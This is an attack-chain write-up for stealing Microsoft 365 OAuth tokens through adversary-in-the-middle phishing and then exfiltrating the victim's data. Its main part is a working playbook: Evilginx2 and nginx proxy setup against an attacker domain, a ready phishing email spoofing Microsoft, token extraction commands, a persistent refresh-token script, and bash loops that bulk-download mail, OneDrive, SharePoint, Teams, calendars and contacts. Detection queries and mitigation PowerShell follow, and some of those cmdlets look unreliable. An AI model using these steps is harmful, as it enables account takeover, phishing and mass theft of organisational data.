| Attribute | Details |
|---|---|
| Chain ID | CHAIN-003 |
| Attack Chain Name | OAuth Token Theft to M365 Data Exfiltration |
| MITRE ATT&CK v18.1 | T1528 + T1537 |
| Tactic | Credential Access + Exfiltration |
| Platforms | M365 (Office 365, Teams, SharePoint, OneDrive) |
| Severity | CRITICAL |
| CVE | N/A (Token-based attacks; see related CVEs for phishing techniques) |
| Chain Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All M365 versions (fundamental to OAuth architecture) |
| Execution Time | 1-3 hours (full chain: phishing to data exfiltration) |
| Author | SERVTEP – Artur Pchelnikau |
This attack chain demonstrates how OAuth access and refresh tokens stolen from Microsoft 365 clients can be weaponized to exfiltrate sensitive data across the entire M365 ecosystem. Unlike credential-based attacks, stolen tokens completely bypass Multifactor Authentication (MFA), Conditional Access policies (because the initial login is legitimate), and password change events. An attacker who obtains both access tokens (short-lived, 1 hour) and refresh tokens (long-lived, days to months) can maintain persistent access to:
Refresh tokens are particularly dangerous because they provide persistent access without triggering re-authentication or MFA prompts until the token expires or is revoked.
CRITICAL - Complete M365 Data Breach + Compliance Violation. Attacker gains:
Estimated Impact:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmarks | 4.1, 4.2, 5.2.1 | OAuth app permissions; token management; token lifetime |
| DISA STIG | AD0002, AD0028 | Privileged account monitoring; API credential protection |
| CISA SCuBA | CA-7, SI-4 | Session management; information system monitoring |
| NIST 800-53 | AC-2, AC-11, SC-7, SI-4 | Account management; session locking; boundary protection; monitoring |
| GDPR | Art. 5, 32, 33 | Data minimization; security; breach notification |
| DORA | Art. 15, 16 | Incident reporting; ICT baseline requirements |
| NIS2 | Art. 21, 23 | Cyber risk management; incident response; cyber hygiene |
| ISO 27001 | A.6.2, A.9.2, A.12.2.3 | Token lifecycle; access control; deletion of sensitive data |
| ISO 27005 | A.14.2.1 | Risk assessment; data exfiltration scenarios |
| Stage | Technique ID | Step Name | Duration | Key Actions |
|---|---|---|---|---|
| Phase 1 | T1566.002 | Adversary-in-the-Middle (AiTM) Phishing Setup | 30-45 min | Deploy Evilginx2; craft phishing page |
| Phase 2 | T1566.002 | Spear-Phishing Delivery | 1-4 hours | Deliver AiTM phishing email; trick user into MFA |
| Phase 3 | T1528 | OAuth Token Interception | Real-time | Attacker proxies login; captures access + refresh tokens |
| Phase 4 | T1528 | Token Validation & Refresh | 5-15 min | Test tokens; exchange refresh token for new access tokens |
| Phase 5 | T1537 | Data Enumeration & Planning | 15-30 min | Enumerate M365 resources accessible with tokens |
| Phase 6 | T1537 | Large-Scale Data Exfiltration | 30-60 min | Download emails, files, Teams messages, calendars |
| Phase 7 | T1537 | Secondary Attack Preparation | 15-30 min | Extract contact info; prepare lateral movement |
Objective: Set up adversary-in-the-middle proxy to intercept OAuth login flow and capture tokens.
Command (Linux - Evilginx2 Installation):
# 1. Install Evilginx2
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2/
make
./bin/evilginx2 -p ./phish
# 2. Configure with valid SSL certificate (Let's Encrypt)
# Prerequisites: Domain registered (attacker-domain.com)
# Point DNS A record to attacker VPS IP
# 3. Inside Evilginx2 interactive console:
(evilginx2)> config domain attacker-domain.com
(evilginx2)> config ip <ATTACKER_VPS_IP>
(evilginx2)> config ssl
# 4. Load Office 365 phishing template (or custom)
(evilginx2)> phishlets list
(evilginx2)> phishlets enable o365
Alternative: Custom AiTM Setup (Nginx + Reverse Proxy):
# /etc/nginx/sites-available/office365
server {
listen 443 ssl http2;
server_name login.attacker-domain[.]com;
ssl_certificate /etc/letsencrypt/live/attacker-domain[.]com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/attacker-domain[.]com/privkey.pem;
# Proxy all requests to legitimate Microsoft login
location / {
proxy_pass https://login.microsoftonline.com;
proxy_set_header Host login.microsoftonline.com;
proxy_set_header X-Real-IP $remote_addr;
# Intercept and log OAuth tokens from response
proxy_pass_header Authorization;
access_log /var/log/nginx/tokens.log full;
}
}
What This Achieves:
Objective: Craft convincing phishing email with link to attacker’s AiTM proxy.
Phishing Email Example:
From: security-alerts@microsoft.com (spoofed or lookalike)
To: target@company.com
Subject: URGENT: Unusual sign-in activity detected - Verify your identity immediately
Body:
---
Hello,
We detected unusual sign-in activity on your Microsoft 365 account from:
- Location: Unknown location
- Device: Unrecognized device
- Time: 2024-01-10 14:23 UTC
To protect your account, we need you to verify your identity immediately.
Click the link below to verify your account:
https://login.attacker-domain[.]com/verify
If you did not attempt to sign in, please change your password immediately.
Regards,
Microsoft 365 Security Team
**Important:** This is an automated security notification. Do not reply to this email.
For more information, visit https://account.microsoft.com/security
---
OpSec & Evasion:
Objective: Victim is tricked into clicking phishing link and entering Microsoft credentials.
User Experience (From Victim’s Perspective):
https://login.attacker-domain.com/verify)Objective: Attacker extracts OAuth tokens from proxy logs.
Command (Extract Tokens from Evilginx2 Logs):
# 1. Check captured credentials
cat evilginx2.log | grep -i "authorization" | head -20
# 2. Extract Bearer tokens
grep -oP 'Bearer \K[^"]+' evilginx2.log > tokens.txt
# 3. Extract refresh tokens (different format)
grep -oP '"refresh_token":"?\K[^"]+' evilginx2.log > refresh_tokens.txt
# Example output:
# Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Imk...
# Refresh Token: M.R3_BAY.XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Command (Validate Token Structure):
# 1. Decode JWT access token (Base64)
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Imk..." | cut -d. -f2 | base64 -d | jq .
# Expected output:
# {
# "aud": "https://graph.microsoft.com",
# "iss": "https://sts.windows.net/TENANT-ID/",
# "iat": 1704883290,
# "nbf": 1704883290,
# "exp": 1704887190, ← Expires in 1 hour
# "upn": "target@company.com",
# "roles": ["Mail.Read", "Files.Read.All"]
# }
OpSec & Evasion:
Objective: Validate stolen tokens work; exchange refresh token for new access tokens to maintain persistence.
Command (Validate Access Token):
# 1. Test access token by making a simple Graph API call
BEARER_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Imk..."
curl -X GET "https://graph.microsoft.com/v1.0/me" \
-H "Authorization: Bearer $BEARER_TOKEN" \
-H "Content-Type: application/json"
# Expected response:
# {
# "id": "UUID...",
# "displayName": "Target User",
# "userPrincipalName": "target@company.com",
# "mail": "target@company.com"
# }
Objective: Using stolen refresh token, obtain new access tokens repeatedly (refresh tokens valid 24 hours to 90 days).
Command (Get New Access Token from Refresh Token):
# 1. Use refresh token to obtain new access token
REFRESH_TOKEN="M.R3_BAY.XXXXXXXXXXXXXXXXX..."
CLIENT_ID="04b07795-8ddb-461a-bbee-02f9e1bf7b46" # Office app ID (public)
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=$CLIENT_ID" \
-d "scope=https://graph.microsoft.com/.default" \
-d "refresh_token=$REFRESH_TOKEN" \
-d "grant_type=refresh_token" \
-d "redirect_uri=https://login.microsoftonline.com/common/oauth2/nativeclient"
# Expected response:
# {
# "access_token": "NEW_ACCESS_TOKEN_VALID_1_HOUR",
# "refresh_token": "NEW_REFRESH_TOKEN",
# "expires_in": 3600
# }
What This Means:
Command (Persistent Token Refresh Script):
#!/usr/bin/env python3
import requests
import json
import time
REFRESH_TOKEN = "M.R3_BAY.XXXXXXXXX..."
CLIENT_ID = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
def refresh_access_token():
url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
data = {
"client_id": CLIENT_ID,
"scope": "https://graph.microsoft.com/.default",
"refresh_token": REFRESH_TOKEN,
"grant_type": "refresh_token",
"redirect_uri": "https://login.microsoftonline.com/common/oauth2/nativeclient"
}
response = requests.post(url, data=data)
tokens = response.json()
return tokens["access_token"], tokens.get("refresh_token", REFRESH_TOKEN)
# Persistent token refresh every 50 minutes (before 1 hour expiry)
while True:
access_token, REFRESH_TOKEN = refresh_access_token()
print(f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] Token refreshed. Valid for 1 hour.")
time.sleep(3000) # Refresh every 50 minutes
Objective: Identify what data is accessible with stolen tokens and plan exfiltration.
Command (Enumerate Accessible Resources):
# 1. Get user mailbox info
curl -X GET "https://graph.microsoft.com/v1.0/me/mailFolders" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {id, displayName}'
# Expected output shows folders: Inbox, Sent Items, Calendar, Tasks, etc.
# 2. Get mailbox size and message count
curl -X GET "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messages?\$count=true&\$top=1" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value | length'
# 3. Enumerate OneDrive/SharePoint drives
curl -X GET "https://graph.microsoft.com/v1.0/me/drive/root/children" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {name, size}'
# 4. List all accessible SharePoint sites
curl -X GET "https://graph.microsoft.com/v1.0/me/memberOf" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | select(."@odata.type" == "#microsoft.graph.group") | {displayName, id}'
# 5. List Teams and channels
curl -X GET "https://graph.microsoft.com/v1.0/me/joinedTeams" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {displayName, id}'
Enumeration Results (Example):
Mailbox:
- Inbox: 2,451 messages
- Sent Items: 1,203 messages
- Calendar: 156 events
- Total mailbox size: 15.3 GB
OneDrive:
- Root folder: 82 files
- \Projects: 234 files (including confidential project docs)
- \Financial: 45 files (budgets, invoices)
SharePoint Sites:
- Executive Team site: 1,234 files
- Finance Collaboration: 892 files
- M&A Projects: 456 files (Confidential)
Teams:
- Executive Leadership: 4 teams, 100+ channels
- Finance: 2 teams, 50+ channels
Data Classification (Targeting Strategy):
Objective: Extract complete email history (potentially gigabytes of data).
Command (Export All Inbox Emails):
#!/bin/bash
ACCESS_TOKEN="$1"
OUTPUT_DIR="./exfiltrated_data"
mkdir -p "$OUTPUT_DIR"
# 1. Get all messages (paginated)
PAGE=0
TOP=100 # 100 messages per request
while true; do
SKIP=$((PAGE * TOP))
RESPONSE=$(curl -s -X GET \
"https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messages?\$skip=$SKIP&\$top=$TOP&\$select=id,subject,from,receivedDateTime,bodyPreview" \
-H "Authorization: Bearer $ACCESS_TOKEN")
# Check if more pages exist
HAS_MORE=$(echo "$RESPONSE" | jq '.[@odata.nextLink]' -r)
# Download message content for each
echo "$RESPONSE" | jq -r '.value[] | .id' | while read MSG_ID; do
curl -s -X GET \
"https://graph.microsoft.com/v1.0/me/messages/$MSG_ID" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq . > "$OUTPUT_DIR/msg_$MSG_ID.json"
done
if [ "$HAS_MORE" == "null" ]; then
break
fi
PAGE=$((PAGE + 1))
done
echo "Downloaded $(find $OUTPUT_DIR -name '*.json' | wc -l) emails"
Alternative: PowerShell (Export-MailExport)
# 1. Use Microsoft's built-in export tool (if available with stolen token)
# Note: Requires application permissions or admin consent
$token = "BEARER_TOKEN_HERE"
$headers = @{"Authorization" = "Bearer $token"}
# Request mailbox export
$body = @{
sourceMailboxes = @("target@company.com")
contentFilter = ""
exportOptions = "All"
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/compliance/ediscovery/cases/exports" `
-Headers $headers -Method Post -Body $body -ContentType "application/json"
Objective: Extract all documents (highest value data: financial, IP, strategic).
Command (Download All Files from OneDrive):
#!/bin/bash
ACCESS_TOKEN="$1"
DRIVE_ID=$(curl -s -X GET "https://graph.microsoft.com/v1.0/me/drive/root" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.id')
# Function to recursively download files
download_folder() {
local FOLDER_ID=$1
local PATH=$2
# Get contents of folder
curl -s -X GET "https://graph.microsoft.com/v1.0/me/drive/items/$FOLDER_ID/children" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[] | "\(.id)|\(.name)|\(.folder)"' | while IFS="|" read ITEM_ID NAME IS_FOLDER; do
if [ "$IS_FOLDER" != "null" ]; then
# Recursively download subfolders
mkdir -p "$PATH/$NAME"
download_folder "$ITEM_ID" "$PATH/$NAME"
else
# Download file
echo "Downloading: $PATH/$NAME"
curl -s -X GET "https://graph.microsoft.com/v1.0/me/drive/items/$ITEM_ID/content" \
-H "Authorization: Bearer $ACCESS_TOKEN" -o "$PATH/$NAME"
fi
done
}
download_folder "$DRIVE_ID" "./exfiltrated_files"
echo "OneDrive exfiltration complete"
Command (Download Files from SharePoint Site):
# 1. Get SharePoint site ID
SITE_ID=$(curl -s -X GET "https://graph.microsoft.com/v1.0/sites/company.sharepoint.com:/Finance:" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.id')
# 2. Get site drives (document libraries)
curl -s -X GET "https://graph.microsoft.com/v1.0/sites/$SITE_ID/drives" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[] | {id, name, webUrl}'
# 3. Download all files from each drive (repeat for each drive found)
DRIVE_ID="<DRIVE_ID>"
curl -s -X GET "https://graph.microsoft.com/v1.0/drives/$DRIVE_ID/root/children" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[] | .id' | while read ITEM_ID; do
curl -X GET "https://graph.microsoft.com/v1.0/drives/$DRIVE_ID/items/$ITEM_ID/content" \
-H "Authorization: Bearer $ACCESS_TOKEN" --output "file_$ITEM_ID"
done
Objective: Download Teams message history and recorded meetings.
Command (Export Teams Messages):
# 1. Get all teams accessible to user
curl -s -X GET "https://graph.microsoft.com/v1.0/me/joinedTeams" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[].id' | while read TEAM_ID; do
# 2. Get all channels in team
curl -s -X GET "https://graph.microsoft.com/v1.0/teams/$TEAM_ID/channels" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[].id' | while read CHANNEL_ID; do
# 3. Get all messages in channel
curl -s -X GET "https://graph.microsoft.com/v1.0/teams/$TEAM_ID/channels/$CHANNEL_ID/messages" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {from: .from.user.displayName, body: .body.content, timestamp: .createdDateTime}' > "teams_${TEAM_ID}_${CHANNEL_ID}.json"
done
done
Objective: Download calendar events (reveals business activities, M&A, partners, secrets discussed in meetings).
Command (Export Calendar):
# 1. Get all calendar events (next 12 months)
START_DATE=$(date -u +%Y-%m-%dT00:00:00Z)
END_DATE=$(date -u -d"+365 days" +%Y-%m-%dT00:00:00Z)
curl -s -X POST "https://graph.microsoft.com/v1.0/me/calendarview?startDateTime=$START_DATE&endDateTime=$END_DATE" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {subject, start, end, attendees, bodyPreview}' > calendar_export.json
# 2. For each event, get meeting details/transcript
curl -s -X GET "https://graph.microsoft.com/v1.0/me/events" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq -r '.value[].id' | while read EVENT_ID; do
curl -s -X GET "https://graph.microsoft.com/v1.0/me/events/$EVENT_ID" \
-H "Authorization: Bearer $ACCESS_TOKEN" > "event_$EVENT_ID.json"
done
Objective: Harvest contact lists, employee info, partner contacts for secondary phishing campaigns or supply chain attacks.
Command (Extract Contacts):
# 1. Get contacts from personal contacts
curl -s -X GET "https://graph.microsoft.com/v1.0/me/contacts" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {displayName, emailAddresses, businessPhones}' > contacts.json
# 2. Get corporate directory (if accessible)
curl -s -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | {displayName, mail, jobTitle, officeLocation}' > corporate_directory.json
# 3. Get all external partners from SharePoint (Guest accounts, external collaborators)
curl -s -X GET "https://graph.microsoft.com/v1.0/me/memberOf" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | select(."@odata.type" == "#microsoft.graph.group") | .id' | \
while read GROUP_ID; do
curl -s -X GET "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/members" \
-H "Authorization: Bearer $ACCESS_TOKEN" | jq '.value[] | select(.userType == "Guest") | {displayName, mail}'
done > external_partners.json
OAuth Token Indicators:
Email Exfiltration Indicators:
/me/mailFolders/inbox/messages with $top=100+ (pagination indicating bulk export)File Exfiltration Indicators:
Network/Infrastructure Indicators:
Microsoft Sentinel/Unified Audit Log Queries:
// Find suspicious Graph API calls (bulk email export)
CloudAppEvents
| where Application == "Microsoft Graph"
| where ActionType in ("Read", "ReadMultiple")
| where ResourceName contains "mailFolders"
| where Timestamp > ago(24h)
| summarize EventCount = count() by AccountObjectId, IPAddress, ResourceName
| where EventCount > 50 // Bulk export pattern
// Find token refresh from unusual locations
SigninLogs
| where AuthenticationProtocol == "OAuth2"
| where TokenIssuerType == "AzureAD"
| where Timestamp > ago(24h)
| extend GeoDistance = geo_distance_2points(
todynamic(format_datetime(now(), 'G')),
todynamic(format_datetime(TimeGenerated, 'G'))
)
| where GeoDistance > 1000 // Impossible travel: >1000km since last sign-in
Exchange Online Audit Log (PowerShell):
# 1. Search for mailbox export/exfiltration events
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) `
-Operations "Export-Mailbox","MailItemsAccessed","MoveToDeletedItems" `
-ResultSize 5000 | Select-Object TimeCreated, UserIds, Operations, ObjectId
# 2. Find forwarding rules created
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) `
-Operations "New-InboxRule","Set-InboxRule" `
-ResultSize 5000
# 3. Check for suspicious OAuth app consent
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) `
-Operations "Consent to application" `
-ResultSize 5000 | Where-Object {$_.ObjectId -notlike "*Microsoft*"}
1. Implement Token Binding & Continuous Access Evaluation (CAE)
Manual Steps (Azure Portal):
1 hourNeverPowerShell:
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# 1. Enable CAE for critical apps
$appId = "Microsoft Graph" # example
Update-MgApplication -ApplicationId $appId -IsDeviceOnlyAuthSupported $true
2. Enforce Phishing-Resistant MFA (Passwordless)
Manual Steps:
3. Restrict Token Lifetime & Refresh Token Rotation
Manual Steps:
7 (default 90)30 (default 60)PowerShell:
# Set token policies globally
Update-MgPolicy -TokenLifetimePolicy @{
AccessTokenLifetime = "PT30M" # 30 minutes
RefreshTokenLifetime = "P7D" # 7 days
RefreshTokenMaxInactiveTime = "P3D" # Expire if unused for 3 days
}
4. Enable OAuth Risk Detection & Conditional Access
Manual Steps:
Block Suspicious OAuth App Consent5. Monitor Graph API Usage for Exfiltration Patterns
Manual Steps (Microsoft Sentinel):
CloudAppEvents
| where Application == "Microsoft Graph"
| where ActionType in ("FileDownloaded", "MailItemsAccessed")
| summarize EventCount = count(), DownloadSize = sum(tolong(DataSize))
by AccountObjectId, IPAddress, bin(TimeGenerated, 5m)
| where EventCount > 100 or DownloadSize > 1000000000 // 1GB in 5 mins
| project-rename Alert_Type = "Bulk Data Exfiltration"
6. Implement OAuth App Consent Control
Manual Steps:
7. Deploy Data Loss Prevention (DLP) Policies
Manual Steps (Microsoft Purview):
Prevent Bulk Email Export8. Audit All Application Permissions
PowerShell (Monthly Audit):
# 1. List all app registrations with sensitive permissions
Get-MgApplication -All | ForEach-Object {
$requiredPermissions = $_.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}
if ($requiredPermissions.ResourceAccess.Id -contains "e1fe6dd8-ba31-4d61-89e7-88639da4683d") { # Mail.Read.All
Write-Host "⚠️ ALERT: $($_.DisplayName) has Mail.Read.All permission"
}
}
# 1. Verify CAE is enabled
$caePolicy = Get-MgConditionalAccessPolicy | Where-Object {$_.DisplayName -match "CAE"}
if ($caePolicy) {
Write-Host "✅ Continuous Access Evaluation (CAE) is enabled"
} else {
Write-Host "❌ VULNERABLE: CAE not configured"
}
# 2. Verify token lifetime is reduced
$tokenPolicy = Get-MgPolicy -TokenLifetimePolicy
if ($tokenPolicy.AccessTokenLifetime -le "PT30M") {
Write-Host "✅ Access token lifetime is restricted to 30 minutes"
} else {
Write-Host "❌ VULNERABLE: Access tokens expire too late"
}
# 3. Verify phishing-resistant MFA is enforced
$mfaPolicy = Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.GrantControls.BuiltInControls -contains "mfa"}
if ($mfaPolicy) {
Write-Host "✅ MFA is enforced"
} else {
Write-Host "❌ VULNERABLE: MFA not enforced"
}
# 4. Verify OAuth app consent is restricted
$consentPolicy = Get-MgPolicyCrossTenantAccessPolicyDefault
if ($consentPolicy.B2bCollaborationOutbound.UsersAndGroups.AllowedUsers -ne "all") {
Write-Host "✅ OAuth app consent restricted"
} else {
Write-Host "❌ VULNERABLE: Everyone can consent to apps"
}
Expected Output (If Secure):
✅ Continuous Access Evaluation (CAE) is enabled
✅ Access token lifetime is restricted to 30 minutes
✅ MFA is enforced
✅ OAuth app consent restricted
| Step | Phase | Technique | Attack Chain |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing OR [IA-PHISH-002] OAuth Consent Attack | [CHAIN-003] Token Theft to Data Exfil |
| 2 | Credential Access | [T1528] Steal Application Access Token | Current Phase |
| 3 | Credential Access | [CA-TOKEN-004] Graph API Token Theft | [CHAIN-003] Token Theft to Data Exfil |
| 4 | Collection | [T1530] Data from Cloud Storage (OneDrive, SharePoint) | [CHAIN-003] Token Theft to Data Exfil |
| 5 | Collection | [T1114] Email Collection (via Graph API) | [CHAIN-003] Token Theft to Data Exfil |
| 6 | Exfiltration | [T1537] Transfer Data to Cloud Account | Current Phase |
| 7 | Impact | [T1537] Data Exfiltration (to attacker infrastructure) | Related to [CHAIN-001] & [CHAIN-002] for broader impact |
evilginx2 -p ./phishConnect-MgGraph -AccessToken $token